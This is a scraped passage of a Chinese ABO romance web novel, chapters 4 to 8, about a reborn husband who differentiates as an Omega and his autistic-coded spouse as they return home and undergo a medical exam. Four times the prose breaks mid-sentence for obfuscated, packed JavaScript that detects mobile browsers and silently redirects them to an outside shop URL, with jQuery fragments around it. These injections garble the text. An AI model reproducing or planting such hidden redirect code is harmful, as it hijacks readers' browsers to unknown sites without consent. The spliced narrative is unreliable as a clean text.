应重明声调往下掉,“所以是趁我睡着的时候,她偷偷给你打电话。” “没有偷偷。”庄兆无法理解他,“为什么一定要弄伤自己?我们也可以做。” “要Alpha和Omega做才有用,只有这两种性征之间能用信息素相互抚慰。”他解释的声音发凉,很冷静,和梦中的样子不一样。“更何况我的信息素还不稳定。我们现在做,除了弄伤你没有任何好处。” “我不能是Alpha吗?”庄兆还没有彻底搞明白,“我怎么才能是Alpha?” 应重明笑了一下。像悲伤,又像欣慰。 分化热潮正在峰值,他甚至能闻到隔壁和楼上楼下alpha和Omega激情四射的信息素交融的臭味。可他没有闻到庄兆身上有任何特殊气味,即使他们离得这样近。 “你不是,也不会是。就像男女性别在胚胎发育时就定好了,ABO性征也是,分化的结果永远不会改变。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572581|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 庄兆呆住了,心情惊诧茫然又无力,像一个忽然发现自己阳痿的丈夫,恍惚地喃喃自语,“那,永远都这样吗?” 应重明看着他懵懂的脸,眼眸深处蛰伏的阴翳呼之欲出。 是的,宝贝。Omega就是要这样痛苦地活着,一辈子痛苦地活着。 但是他温和地开口,“不会的宝宝,很快就有实验室研发出抑制剂了。就像糖尿病患者的胰岛素注射剂一样,可以终身携带,按时使用就不影响正常生活。” “可是,还要多久才有呢?” 应重明只能说,“很快。” 他也说不准。 这就意味着在“很快”的这段时间里,他还是会伤害自己的身体来保持清醒。 庄兆无法自主调节这种焦虑情绪,瞳孔颤动,指尖咬进嘴里,被他轻轻拉了出来。 “别怕,我永远不会离开你,看。”他露出无名指上的婚戒,和庄兆的那枚贴在一起。“我们发过誓的。” 庄兆心跳得很快,他天生只适合生活在稳定的环境里。现在的情况让他很想尖叫,但多年的社会化训练积累出了成果,他在努力地控制情绪。 他想到了图书馆走廊见到的那一幕,原来是处于进化热潮中的人类被信息素控制,Alpha和Omega们在本能地寻找慰藉。 还好应重明预知了灾难的发生,不然说不定也会被那群人掳走……被Alpha瓜分掉。 他难过且后怕,在应重明的引导下深呼吸,很久才调整过来。 “要不要吃一点东西?”应重明拥抱他的体温还是很烫。“好了,没事的。我们去吃点东西。” “我来做。”庄兆先一步跑进厨房。 他哪里会做什么吃的。他平时连自己泡一杯茶都会被夸,根本没有需要自己动手才能吃上饭的时候。 但现在他需要做点什么来缓解焦虑,应重明没有阻止,捂着新伤叠旧伤的脖子在旁边耐心解说,很慢地教他把吐司片放进烤面包机里,煎蛋磕进平底锅。 庄兆的动手能力很差,可由他严密地照看着,时不时搭把手代劳,一顿简单的早餐很快成形。庄兆真正动手的,基本只在亲手把食物装进餐盘这一步,他还特意拍了段视频,发到家庭群。 “做得特别好。”应重明不遗余力地夸奖。 果汁也没有倒洒。庄兆心里舒服一些了,握着杯子看他吃早餐,忽然开口问,“你是不是讨厌自己的信息素?” 咬了一口的煎蛋掉回盘子里。应重明不动声色地叉中,“怎么会这么想。” 明明他此时对ABO还没有等级高低划分的概念。 庄兆说,“我就是知道。” 他说中了,却没有答对问题的高兴。 应重明是个非常自律,独立的人,习惯自己做决定,连父母的话都很少听,喜欢甚至强迫所有事都在掌控之中。 现在是信息素在做决定,他当然会觉得讨厌。 “很好闻的。”庄兆说。 “……什么?” “你的信息素,很好闻。”既然分化成Omega的结果无法改变,他想说一点能让应重明开心的话,“是我们去年回国在机场喝过的那种,很好喝的,薄荷奶绿的味道。” “是吗。”应重明笑了笑,英俊的脸上没有半分阴翳。“你喜欢就太好了。” 可他记得,当时的庄兆拿到奶茶,只喝了一口而已。 5. 第 5 章 “未来你可能每天都要闻到它。”应重明说,“我也很希望你可以早一点适应。” 庄兆点点头,“我可以适应。” 这个味道有点怪,但只要不过分浓郁,就并不会令人讨厌。 庄兆有时候也会撒一点小谎。 他不像自己说的那么喜欢应重明的信息素的味道,就像他也不理解为什么应重明很希望自己叫他老公。但是身为合格的伴侣,他认为自己应该多迁就和包容对方。 再说,他可是哥哥,让着弟弟是应该的。在他们很小的时候,他就这么认为了。 庄兆忽然想到,现在情况发生了变化。 应重明比他多活了一辈子,年龄加起来肯定是超过他的。那他就有点理解应重明为什么喜欢叫他宝宝了。 他很认真地问,“你有一百岁了吗?” “……”应重明的眼睛弯了起来,捏他的脸,“宝宝,你好可爱。” 庄兆把这当成是默认,内心不由得泛起了波澜。 他竟与一位百岁老人结为夫夫! 果然,身为天才,人生总是难免特立独行。 不过他还是没有感到高兴。 他只初步了解到ABO的世界观,距离适应还需要很长一段时间。分化带来的症状,在他眼里还是更接近于疾病。于是他这天剩下的时间都在想,怎么才能搞到Alpha的信息素给应重明治病。 他和应重明的家庭条件很好,如果有哪个实验室成功地研发出抑制剂,应该可以第一时间买到。但那还是太久了,他不能看着另一半受罪却无动于衷。 如果没有和Taylor通过电话,他或许会支持应重明找个Alpha搞点信息素来当临时药物。可现在他意识到这个治疗的过程中会发生什么,就很不愿意了。 应重明对他忠诚,宁可伤害自己也不背叛。他既感动又心疼。 在这种复杂的情绪中,进化初潮一天天接近了尾声。 新闻每天都在播报,截至目前,有数以亿计的人类没有熬过这场浩劫,而活下来的人们又要面临新的挑战,恐慌情绪在世界各地蔓延,人心动荡。 他们生活的社区处于半瘫痪状态。幸存者们对新身份的认知很困难,罢工情绪严重,学校也停课了。父母在国内十分担心,动用关系包了私人飞机叫他们回国避难。 应重明的信息素趋于稳定,不再需要依靠划伤腺体来保持清醒。离开之前,庄兆回到学校宿舍,收拾需要带走的行李。应重明陪他一起。 两人要回国的消息小范围地传了出去。很多同学来打听能否同行,开出高价想要获得飞机上的一个座位。 这种场面庄兆应付不来。应重明自然要形影不离地陪同,一张笑脸游刃有余地婉拒所有人。 “Taylor也不可以吗?”庄兆关心自己唯一的朋友,“只带她一个。” “可是她是Alpha。”应重明温柔道,“现在这个阶段,大家都很难控制好自己的信息素。万一她在飞机上失控,想要对我做坏事该怎么办呢?” 庄兆立刻领会,心里对朋友说了声对不起。 “Alpha的信息素很霸道,我会被压制,连还手的力气都没有。” 应重明叹了口气,低垂的目光中流露出隐忍的脆弱,“对不起宝宝。或许以后,我还要靠你保护才行。” 庄兆顿感责任重大,挺胸昂头,把下巴抬得同他肩膀一般高,“我会保护好你的!” 因为闻不出谁是Alpha谁是Omega,显然也不能把人家裤子扒了当场检查,庄兆决定严防所有人,来确保应重明的安全。 应惊蛰也和他们同一天回家,路上聊到她分化成了Alpha,问两个人什么情况。 在得知应重明是Omega时,她的语气中多了些深意,“那你受罪了,应该很疼吧。” 听说这种性征的男性会感受到体内被撕裂,重新组成通道的痛苦,比生孩子也好不了多少。 应重明嘴角一扯,皮笑肉不笑,“还行,忍得了。” 庄兆以为她是在说应重明划伤自己的那种疼,脸又皱成一团。 “好了,家里见吧。” 她说,“爸妈还不知道怎么样呢。我听国内的朋友说,那边正在组织全国统一体检,估计是要统计数据吧。我们回去也得做。” 听到统一体检,应重明眉心抖了一下,没说什么别的,“嗯,家里见。” 两人到了机场。过安检时,安检员不知道出于什么心理,让应重明脱了外套,双手在他身上寻摸了两圈,什么违规物品都没找到,却还不罢手。 庄兆看在眼里,急在心里。他在公共场合向来是恨不得隐身的,但保护伴侣的承诺重如泰山,他必须勇敢,于是握紧拳头,硬着头皮大声喊,“请你不要再摸我的丈夫了!他现在很虚弱!” “……” 周围一小圈旅客的目光都被吸引过来,安检员也讪讪地罢手。 这是他第一次在公共场合大声说过话,一半生气一半紧张,自己喊完手都在发抖。被应重明握住了,含笑的吻落在手背上,“谢谢宝宝,其实我也没有那——么虚弱。” “他是Alpha吗?”进了候机室,庄兆靠在他身边小声蛐蛐,“他是不是想占你便宜?他在偷偷吸你的信息素吗?” 应重明耳朵发热,耐心道,“他是Omega。大概只是对我很好奇。” 庄兆感到神奇。他自己只能闻到大家身上确实都有不同的气味,但暂时还无法从信息素的气味里分辨性征。 “Alpha的信息素气味通常会更有刺激性。Omega相反。”应重明说,“不一定百分百准确,但大部分是这样的。” 庄兆耸了一下鼻子,恍然道,“所以你闻起来甜甜的。” “……” 应重明无奈地笑,抵了一下他的额头,“要吃冰激凌吗?我去拿。” 庄兆点点头:“要吃。” 他看起来不开心。庄兆想,他还在为自己分化成了Omega而感到郁闷吗? 这几天新闻里也有播报,男性分化成Alpha的概率更大,女性则是Omega居多。Omega这个性征,似乎天然就跟女性柔弱的标签绑定在一起。 但他觉得应重明并不是有刻板印象,会搞性别歧视的人。一定还有什么别的原因。 落地已是夜晚。应重明先送他进了家门,这么仓促的情况下还准备了大包小包的礼物。 庄兆父母本来要留他吃个宵夜,但他说自己家里也在催,略坐了坐就回家了。 人走之后,庄爸爸摸着鼻子忍不住先开腔,“怎么可能呢?你看他这体型,这大高个儿,都快一米九的人了怎么会分化成一个……一个像女人的家伙?” 目前官方还没有给出明确的称呼定义。事实上他分化成了Alpha,庄妈妈分化成了Omega,两个人都能闻出应重明的性征,面面相觑,都是不可思议。 “总是会有些特殊状况的。”虽然意外,庄妈妈倒不怎么在意,关心儿子道,“小兆感觉怎么样?飞这么久肯定累了,先吃饭吧。” “我不要吃。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572582|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄兆对他们的反应很不高兴,因此拒绝和他们一起吃晚饭,抱着书包就上楼了。 走到一半,又气不过似的回头,很严肃地说,“你们不要说他。他会伤心的。” “……” “好,当然不说,以后再也不说了。”庄妈妈连忙追上来,拉着他柔声安慰,“爸爸不是故意的,只是太惊讶了。和我们一起吃点东西好吗?大半年没见了,爸爸妈妈都很想念你。” 庄爸爸也跟着上来,拉下脸跟儿子道歉,“是我的错,不该乱说。” 庄氏夫妇各自管着各自的公司,都是标准的事业型人格。在外当惯了发号施令的工作狂魔,回到家也经常吵架,得理不饶人。是为了跟儿子相处,才学得柔声细语。 他们这个儿子与常人不同,为了和他沟通,两人特意聘来心理医师。真学到了不少。起初为了儿子,后来连带着夫妻之间相处也更和睦。 看两个人认识到错误,庄兆就原谅了,“好吧。但是我要先把书包放好,还要换衣服。飞机上睡过了,我今天可以晚点睡。” 庄妈妈喜笑颜开,连声说好,下楼时被老公搂在怀里亲了一口,嗔怪地用手肘推他,“孩子都回家了,别搞这套。” “怎么,你还打算让他睡我俩中间?”或许是因为分化成了Alpha,庄爸爸觉得精力十分够用。“这次小兆回家,我们不如就趁机把备孕的计划告诉他,让他有个心理准备。” 庄妈妈嘘了一声,下意识地往楼上看,又忍不住叹气,“再过几天吧,怕他一时半会儿接受不了。再说我年纪也大了,能不能怀上不一定呢。” “我倒觉得他不会在意。”庄爸爸说,“他跟重明处得那么好,证都领了,也算是找到了依靠。” 庄兆情况特殊,能否像常人一样结婚生子,他们本来都没敢有太多期望。如今能有一个知根知底的应重明照顾他,爱护他,身为父母他们还是欣慰的,同不同性恋的都没那么在意了。 “重明是个好孩子。”庄妈妈又叮嘱,“以后你可别乱说话了,免得让他们俩再为这个闹了别扭。而且现在这病,专家还没弄明白,以后说不定都能治好的。” 他颔首,“知道。” 他们家是标准的女O男A家庭,夫妻两个分化顺利,浓情蜜意地在卧室里待了三天,跟不走运的家伙相比,算是没受太大罪。 庄兆换完衣服下楼,被父母围在中间,亲亲热热地聊天吃饭。 同一时间,不走运的家伙家里正在鸡飞狗跳。 “给我看看!给我看看!”应惊蛰在客厅追着弟弟跑,像个变态一样释放恐怖的好奇心,“都是一家人看看怎么了!大不了也给你看看我的!” “……” 应重明绕着柱子躲她,一边躲一边回庄兆的消息,“应惊蛰你有病吧!” 据朋友相传,男性Omega会生长出类似于女性生殖道的内生殖器官。 应惊蛰自己凭空多长了一根,本来很受不了,没想到家里这位德智体美劳全优堪称人生模板的弟弟,居然分化得比她还离谱。 她追累了,终于喘着气停下来,一双丹凤眼炯炯有神,“你真有?真的?” 应重明都不想看她,辣眼睛,“管好你自己。” “啧,什么态度。你在小兆面前不是装得挺温柔可亲的么。” 她没有男士内裤,干脆就没有穿,只穿了宽松的运动裤,就这么甩来甩去,叉开腿坐在楼梯上,感慨万分,“谁能想到啊,我们俩现在是小女男孩和小男女孩了。爸妈的心情应该很复杂吧。” 6.第 6 章 应家姐弟俩都是被放养长大的,从小不让大人操心,事事自己拿主意。以至于到了大人想操心的时候,已经插不进手了。 他们父母的婚恋观念还是比较传统的那一代,也不是没反对过应重明的婚事。 毕竟除了是个男人,没办法传宗接代以外,他们觉得庄兆不算是正常人。是个生在别人家可以坦然地夸一声“天才”,摊到自己家身上就会发愁的孩子。也不明白应重明怎么就会对这个孩子情有独钟。 但他们反不反对的,根本造不成什么影响。孩子不肯回国,在外面自己就把婚事给办了,再不松口,指不定一辈子不回家呢。 在断绝关系的风险下,夫妻俩只能睁一只眼闭一只眼,算是各退一步,平时对庄兆客客气气的,要有多亲厚却很难。 “现在全世界都是怪人。”应惊蛰说,“反而显得小兆很正常了,你应该高兴。” 应重明没功夫理她,一边打字一边上楼,“我先去睡了,爸妈体检回来替我跟他们说一声。” “哦。”应惊蛰说,“你也别忘记预约啊,不然以后出行会很麻烦。” 这次全国统检收集到的数据,会更新到个人身份证里。不抓紧时间做好的话,他肯定出不了海关,就别想再回去上学了。 “知道了。”应重明答应得云淡风轻。内心无声焦灼。 他很清楚,自己身体里并没有什么新的通道产生。 和前世一样,他没有分化出Omega的生殖腔,依旧是个被命运玩弄的残次品。 但稍有不同的是,现在是全球分化初期,还没有针对腺体,能检测出信息素差异的机器。 应重明试图乐观地想,或许他会被分类成Beta也说不定。 这样起码他的新身份证会好看一点。等过段时间抑制剂研发出来,他把使用频率拉满,想要完全隐藏Omega的信息素,换个身份生活也不是不可能。 “抱歉宝宝,刚才在楼下说话,现在好了。”他回到房间打给庄兆,快步走到传遍,拉开了窗帘,“能看到我吗?” 两人的房间隔着后花园,只有百十米距离。庄兆看到他的灯亮起来,立刻挥了挥手,“能的。” “怎么这么快就回房间,晚饭没有吃吗?” “吃了一点。” “不想跟爸妈说话?” “嗯。”庄兆蹲坐下来,手指在地板间隙抠来抠去,“他们问题好多。” 长时间的对话会让他感到焦虑,讨论数学问题除外。 “没关系。飞机上待这么久已经很累了,不想说的话可以明天再说。” 应重明又问,“那你有没有告诉他们自己的感受呢?” “告诉了。他们的回答跟你一样。” “那很棒。”他鼓励道,“这一路上你都表现得很好,甚至还保护了我。明天我去找你,把这件事情告诉爸爸妈妈,他们一定会很惊喜,很为你骄傲。” 他自己跟父母的关系一般,但很热衷于帮助庄兆和父母增进感情。 庄兆和人对话都是“提问—回答”的模式,基本上不会主动讲自己的事。但人对不知道的事情是无法提问的,他的父母想要关心他,拉近距离,也只能浅显地问“在学校怎么样”“吃得好不好”“睡得好不好”之类重复的话,很容易陷入枯燥的循环,进而无话可说。 这种时候就需要像应重明这样,能在中间补充信息差的人。 毕竟论起庄兆的日常生活,整个地球都找不出第二个比他更了解的人了。 “嗯。”庄兆情绪有些郁闷。他察觉到了,放轻声音问,“怎么了宝宝,是发生什么事了吗?” “他们知道你是Omega了。”庄兆说。“他们的态度我不喜欢。他们看你的眼神,就像你的父母看我的眼神一样。” 和刻板印象不同,庄兆只是对情绪管理有障碍,但对人的情绪感应十分敏锐。并且因为缺乏社交能力,通常说话非常直白,会令人感到尴尬和受伤。 当然,他无意伤害任何人。他只是无法接受谎言,理解不了伪装,演戏之类行为存在的意义。 那只会给沟通增加障碍,让他本就不堪重负的情绪管理系统雪上加霜。 他甚至不喜欢看电视剧,看电视只看新闻。小时候看一部武侠剧,他被里面手段残暴的反派角色吓哭过,还强烈要求保姆打电话报警。 而且他理解不了电视剧的概念,不知道同一张脸,为什么换个剧就变成了好人。后来才知道,原来是有演员这个职业。 但他还是不爱看。他总觉得,每一部剧里的世界都在某个时间线上真实存在。脱离了那个世界却又看到同一张脸,会让他怀疑一切统统都是假的。真心错付了,很难受。 “你也对我说了谎。”庄兆忽然发难。 “结婚誓词要求我们相互坦诚,绝无隐瞒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580936|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你发过誓会做到的。” 应重明愣了一下,勾起笑,顺从地低着头,赔礼道歉,“对不起,是我的错。可以给我补偿的机会吗?” 他知道庄兆真正生气时是什么样。当然也就能听出,现在他的另一半只是在为他遭遇到的小小的不公而郁闷,想小发一下脾气。 “可以。”庄兆大度地说,“那就给我讲一下你一百岁以前的事情吧。” “……” 应重明实在忍不住,笑得手机嗡嗡响,“亲爱的小兆宝贝,我并没有你想象中活的那么久。” 他朝落地窗玻璃哈气,指尖勾勒出一个Q版的小人脑袋,往鼻尖上点了颗小痣。 庄兆的鼻尖上也有这样的一颗小痣。 “我死的时候十五岁。”他透过窗玻璃上的雾气,看着对面朦胧的灯火,“我没有父母,不知道家在哪里,从有记忆开始就一个人流浪,也没有上过学。十五岁时因为拒绝了一个Alpha的强制标记,被那片区域的流浪汉围攻,打群架死的。” 庄兆被这短短几句话勾勒出的人生震撼了,困难地消化,“你好可怜……”难怪不想提起,这实在是段悲痛的成长史。 他的心脏很不舒服,缓了很久才又问,“什么是强制标记?” “在分化完成之后,Alpha和Omega都有自己的发情周期,并且需要寻找彼此度过发情期。” 应重明解释,“你可以理解成是动物世界里的求偶行为。这期间信息素会狂乱外泄,人也会变得暴躁重欲,如果得不到有效控制,很容易精神失常。” “发情期通常有两种方法可以控制。一种是利用信息素抑制剂,另一种是依赖伴侣。记得我说过吗?Alpha和Omega的信息素可以相互抚慰,只要咬破腺体,把信息素注入对方身体里,双方的状态都能恢复稳定。” 在他的详细说明中,庄兆了解到度过发情期需要做的两件事,一是对腺体注入信息素进行标记,二是做/爱来缓解情潮。 于是庄兆提出解决方案,“我爸爸就是Alpha。” “嗯?” “你有需要的话,可以先让他标记你,然后立刻离开。然后我们再做。”他淡定道,“这样两个必要条件都可以满足了。” “……” 饶是应重明活了两辈子,也被这鬼才般的脑回路震惊了。 “这样应该……不太行。” 7.第 7 章 “不过这也说明,你现在和爸爸的关系很好。所以才会立刻想到可以找他帮忙。”应重明补充道。“这也是一种进步。” 庄兆哼了一声,提议被否决的不满就此烟消云散。 应重明总是能找到各种角度夸赞他。从小到大,他都保持着我行我素的生活作风,这个人起码应该负一半的责任。 “新来的阿姨把我的水晶地球仪打碎了一只。”他向应重明告状,虽然没有什么用。“爸爸说给我买了新的,本来可以在我们回家之前送到,但是因为进化初潮,物流延误了。现在我的架子上有一块很丑的空位。” 应重明了然,“所以你打算今晚不睡觉,把整面架子上的地球仪重新排列吗?” “嗯。”否则他会睡不着。 “等我一下,我过来帮你。” 应重明没挂电话,找出蓝牙耳机戴上,把手机往口袋里一揣,推开了通往露台的门。 庄兆直接起身,把自己的窗户也打开,往外探出半个身体,表现出莫大的兴趣,势必要看清楚。 他们小时候常常会像这样,在家长都睡觉后偷偷见面,躲进房间里再玩一会儿。 他最喜欢看应重明从二楼的露台边缘一跃而下,接一小段翻滚卸力,然后起身摇摇头,抖掉草屑,踩着院子里明暗交替的灯光奔跑,头发向后扬,露出光洁饱满的额头。那样一张熠熠生辉的脸。 那样一个能和他拥有的整个世界平分秋色的人,心无旁骛地朝着他飞奔而来。 庄兆直勾勾地盯着,不肯错过一秒。 “宝宝。”手机里传来一阵笑声,“先让我上去好不好?” “……” 应重明已经站在楼下,仰着脸看他。庄兆回过神,耳朵烧起来,丢开手机去书桌抽屉里找绳子。 谁也不知道他一个从不热衷户外活动的人,房间里为什么会有套攀岩用的动力绳。但谁都不敢乱动。 东西放在原处。庄兆解开绳结,把一端绕在窗台旁的柱子上绑紧,另一端小心地放下去。他的房间没有连着露台,要避开家长只能用绳子爬上来。 即便距离上一次已经隔了好几年,应重明夜半爬窗的技巧也没有生疏。 庄兆的卧室风格就是一间巨大的书房,里面多了张床。四面墙都摆着书和模型,天花板倒映着银河灯。他睡在正中央,就像睡在宇宙的中心。 他把书架梯子滑过来。应重明就站上去,按照他想要的顺序,重新排列他心爱的收藏品们。越是喜欢的东西,他就越要放在显眼的地方。 他望着应重明,忽然说,“我应该给你也打一排架子。” “好啊。要把我放在哪里展示呢?”应重明总是很懂得他晦涩的情话,“放在床头可以吗?” “可是我最想把你放在宿舍的书桌上。”他的意见略有不同,又苦恼,“可是你太大了。” 应重明说,“那就做一个小的我放在书桌上陪你,刚好学校里有3D打印机。” 庄兆满意了,“好的老公,你辛苦了。” 他认为这次回国不会待很久,可能过几天就要走了,也不着急要那个陪读娃娃。应重明却说做两个人的Q版,好好设计需要花些时间,“我明天先学一下怎么建模。等做出来,就能把你放在我床头了。” 为什么一定要放床头呢。 庄兆不语,只是有些担心自己的娃娃会被拿来做坏事。 两个人天南地北地说着话。不知不觉中,他已然忘记了需要重排书架的心理不适,也不知道什么时候应重明就从梯子下来,和他吻在一起。 那股沁凉到刺鼻的绿茶香味又冒了出来。他被香得有些神志不清,双手拉扯着应重明的腰带。 应重明却在这时停下来,垂眼看着他,“宝宝,很想要我吗?” “……” 他小声哼哼,嘟起嘴唇凑上去,想要逃避这奇怪的审问。可应重明捏着他的下巴,迫使他远离了些,强硬道,“你要讲出来。” “要……”他有点委屈,不解,又没办法罢休,只好乖乖地说,“想。想要你。” 腰带的搭扣在他手里解开。 庄兆很快就不觉得委屈了。 他觉得今晚的应重明分外迷人。 他从来都认为应重明长得很好看。可不知道是不是因为分化成Omega的原因,感觉现在简直英俊到不像真人。以至于看起来不仅美丽,甚至美味。 他自然要仔仔细细地享用。 ** 有应重明在的饭桌上气氛总是更融洽。 庄兆次日晚起,下楼时看见他跟自己的父母正一起吃早午餐。小餐厅里欢声笑语,仿佛比他这个亲儿子还合心意。 “小兆。”应重明率先发现了他,笑着朝他招招手,“怎么睡了这么久呢?快来吃点东西。” 庄兆看着他的笑脸,脑海中一时匹配不到合适的形容词。直到坐在餐桌边,涂好黄油的吐司片拿到了手上,才想到,可以称之为无耻。 明明晚起的原因没有人比他更清楚。他却表现得好像早上刚过来一样。 庄兆咬着吐司。是讨厌别人做戏,可看他一脸无辜的笑,硬是也抿出两分可爱可亲。 餐桌上除了讲两人在校园里的见闻趣事,也不可避免地讨论起最近的大灾难。应重明说两人的体检都预约好了,庄兆父母就顺势委托他陪儿子去医院。 听到要去医院,庄兆立刻垮起个脸。但又想到自己都结婚了,应该坚强一点,所以收敛情绪,只垮了百分之三十。 并且由于平时一直习惯面无表情,这百分之三十的脾气只有应重明发现。 “当然,我已经准备好车了。”应重明笑眯眯道,“听说只是例行检查,不会打针也不用吃药,拍个照就能回来。” 后半句是说给谁的,只听那哄孩子的语气就知道了。 庄兆父母对这个女婿特别满意,妥妥的阳光开朗大男孩,又细心又有耐心。要是两人能有孩子,必定也是个能顾家的好父亲。 夫妻俩想到一处,对视间都叹了口气。 体检的医院不是庄兆幼时常去的那所,是预约系统自动分配,没办法选择。 应惊蛰和他们同院体检,出发时和两人上了一辆车,“早啊小庄兆。” 庄兆一本正经地端坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594064|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后座,姿势有些僵硬,“早上好,姐姐。” 他每次要去新场所都会反应过度,努力了十几年还没能适应。 好在他在国内没有朋友,也没有其他事情要办,只需要出门这一趟,就可以安心等待复课回学校了。 车载电台里转播新闻播报,官方已经正式将这场灾难命名为“进化”,并针对三种新性征做出了讲解区分。 由于进化发生的第一天就已经听应重明讲过,庄兆没有再听新闻,认真地咬手指头。 应重明这次没阻止他,只是让他别太用力地咬,适当缓解焦虑。 一起过了安检取了号,填了基本信息表,做检查时是要分开的。应重明先陪他去,刚走出两步就被姐姐叫住,“拿错了,你手里那张表是我的。” “……抱歉。”他交换了信息表,在外面表现得比较有礼貌,“今天有心事。” 应惊蛰嗤了一声,“你平时心思也很重啊。” 明明人生坦途畅行无阻,还总是一副有心事的样子,不知道在忧郁些什么。 哦,不对。应惊蛰忽然意识到,现在他的确有了要忧虑的事。 “祝你们顺利。” 她潇洒地摆摆手,“加油小庄兆,车上等你。” 庄兆已经紧张得快要同手同脚。 由于是全民参与,医院里人来人往,脚步声吵得他头晕目眩。他一定要拉着应重明的手,才不至于脚底发软。 Beta的检查相对较为简单,他努力配合医生,回答问题,项目比想象中顺利且迅速地做完。然后轮到他陪应重明去做。 应重明更希望他回车里等,担忧道,“医院里人太多了,撞到你怎么办?” “我会自己爬起来的。”他坚强道。 “……” “我也要陪着你。” 他知道应重明对自身是Omega这件事不太认同,可等一下检查完就要被刻印在身份证上了。说不定会伤心得偷偷抹眼泪呢。 他要证明自己不是一个无能的丈夫。 起码他能给应重明擦擦眼泪,哪怕手还是抖的。 应重明只好一步三回头地走进了检查室。 他知道检查结果会是什么,心里也做好了最坏的打算。别人的看法他不在意,只要庄兆不会嫌弃他就好了——庄兆不会的。 他希望庄兆不会。 他应该对自己深爱的伴侣有信心。 他希望自己真的有信心。 超声探头将冰凉的耦合剂缓缓推开。医生看了一会儿,说,“诶?你是Omega。” 显然是和基于外表判断的结果不同,有些意外。 应重明内心毫无波动,瞥向仪器显示屏,视线随着医生手指的方向移动,“你看,这一块就是Omega才会有的孕囊。” ……孕囊? 他一怔,蓦地绷紧了神经。 孕囊是类似于女性子宫的男性Omega器官,是孕育新生命的巢穴。也是他曾经缺少的东西。 应重明清醒地意识到这一点。 这一次,他或许…… 是可以怀孕的。 8.第 8 章 在生殖腔残缺的情况下保有正常发育的孕囊,还可以有孩子吗? 应重明自己也不知道。 前世他没去过正规的医院检查,甚至没条件正经去学校里读书。短短十几年人生一直挣扎在底层,认知受限,从没听说过这种特殊情况。 现在又才进化刚刚开始,医学上只能分析出这部分生殖器官的功能,却没有男性Omega真能用它来生育的现实案例。 应重明在一瞬间想了很多。 没有生殖腔无所谓,他要那玩意儿本来也没有用。只要孕囊可以正常产生卵细胞,他完全可以做试管受孕,生产时选择剖腹产就好了。 如果这一切真的可行……他就能孕育出一个孩子。 他和庄兆的孩子。 应重明心脏狂跳,几乎失声。医生的问话重复了好几遍,他才有心思回答。 做完检查出来,庄兆还坐在外面的长椅上等他,连姿势都没有变化。 小时候更夸张。如果没有人陪同,庄兆会一直一直地坐在这里,即使渴到冒烟,也不会去几米开外的饮水机接水喝。即使想上厕所,尿裤子也会继续僵坐着一动不动。 在陌生环境里,他宁愿自己变成一件不会思考的死物。直到有令他熟悉心安的人出现,才又重新开始呼吸。 “检查好了吗?”他站起身,冷不防被应重明抱住,身体向后仰了一下。应重明一般不会在外面这样。他顿时感到担心,“……怎么了老公?” “医生说我的生殖系统发育不全,生殖腔缺损。”应重明委屈地抵着他的肩膀,悄悄蹭了一下,“宝宝,我是个不完整的Omega。” “没关系的。”庄兆怔了怔,没太听懂那是什么东西,也不在意,“我们本来就不需要那些。” 他都搞同性恋了,对生不生还能有什么执念?人没事就行。 “姐姐打电话来问。”他掏出手机给应重明看,如实汇报,“打了两个。” “好,我们现在就回去。” 应惊蛰一个人做检查,早早就结束回车里等他们。看两人回来时的表情跟她想象中不大一样,又听应重明说了生殖腔缺损的情况,诶了一声,“那挺可惜的。” “我才听生科院的朋友说,这次进化让少部分男性Omega拥有了女性的生殖系统,以后说不定男的也能生孩子了。你这算……发育不全?多可惜呢。” 应重明一听又来劲了,神情破碎地轻轻倚靠在庄兆身上,黯然神伤,“宝宝,我是不是很没用?” “不是的。这不是你的错。”庄兆腰杆挺起来,严肃地对着副驾驶位说,“姐姐,你不要再说他了。” “……” 应惊蛰做了个闭麦的手势,心想这傻小子真是被骗得团团转啊。 像应重明那么有心机的人,根本不会为这种事情伤心,只会反向利用,为自己争取更多的同情和溺爱。 这不,效果就是很好啊。 